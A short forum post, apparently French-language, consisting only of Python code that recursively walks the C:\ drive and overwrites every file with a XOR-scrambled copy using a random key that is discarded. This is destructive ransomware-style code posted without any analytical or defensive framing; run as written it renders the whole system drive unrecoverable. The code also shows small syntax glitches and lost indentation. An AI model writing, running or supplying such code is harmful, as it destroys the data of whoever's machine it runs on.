Retour au sujet

Avatar de Nikoumouk Nikoumouk
import os
import random

def encrypt_file(file_path):
key = random.randint(1, 255)
encrypted_data = bytearray()

with open(file_path, 'rb';) as file:
data = bytearray(file.read())

for byte in data:
encrypted_byte = byte ^ key
encrypted_data.append(encrypted_byte)

with open(file_path, 'wb';) as file:
file.write(encrypted_data)

def encrypt_directory(directory_path):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path)

encrypt_directory('C:\\')